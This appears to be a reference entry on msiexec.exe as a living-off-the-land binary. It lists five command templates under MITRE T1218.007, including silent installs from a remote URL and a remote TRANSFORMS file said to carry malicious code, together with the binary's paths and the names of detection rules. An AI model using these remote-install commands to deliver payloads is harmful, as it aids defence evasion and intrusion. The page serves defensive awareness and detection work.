01 / TRADECRAFT
5 examplesCommand reference
Execute5
EXAMPLE 01T1218.007
Installs the target .MSI file silently.
COMMAND
msiexec /quiet /i {PATH:.msi}EXAMPLE 02T1218.007
Installs the target remote & renamed .MSI file silently.
COMMAND
msiexec /q /i {REMOTEURL}EXAMPLE 03T1218.007
Calls DllRegisterServer to register the target DLL.
COMMAND
msiexec /y {PATH_ABSOLUTE:.dll}EXAMPLE 04T1218.007
Calls DllUnregisterServer to un-register the target DLL.
COMMAND
msiexec /z {PATH_ABSOLUTE:.dll}EXAMPLE 05T1218.007
Installs the target .MSI file from a remote URL, the file can be signed by vendor. Additional to the file a transformation file will be used, which can contains malicious code or binaries. The /qb will skip user input.
COMMAND
msiexec /i {PATH_ABSOLUTE:.msi} TRANSFORMS="{REMOTEURL:.mst}" /qb02 / ON DISK
Known paths
C:\Windows\System32\msiexec.exeC:\Windows\SysWOW64\msiexec.exe03 / DEFENSIVE INTELLIGENCE
4 resourcesDetection & indicators
- Sigmaproc_creation_win_msiexec_web_install.ymlgithub.com
- Sigmaproc_creation_win_msiexec_masquerading.ymlgithub.com
- Elasticdefense_evasion_network_connection_from_windows_binary.tomlgithub.com
- Splunkuninstall_app_using_msiexec.ymlgithub.com
Indicators & detection notes
- IOC
msiexec.exe retrieving files from Internet
FURTHER READING
Research & resources
COMMUNITY RESEARCH
Acknowledgements
netbiosX@netbiosX
Philip Tsukerman@PhilipTsukerman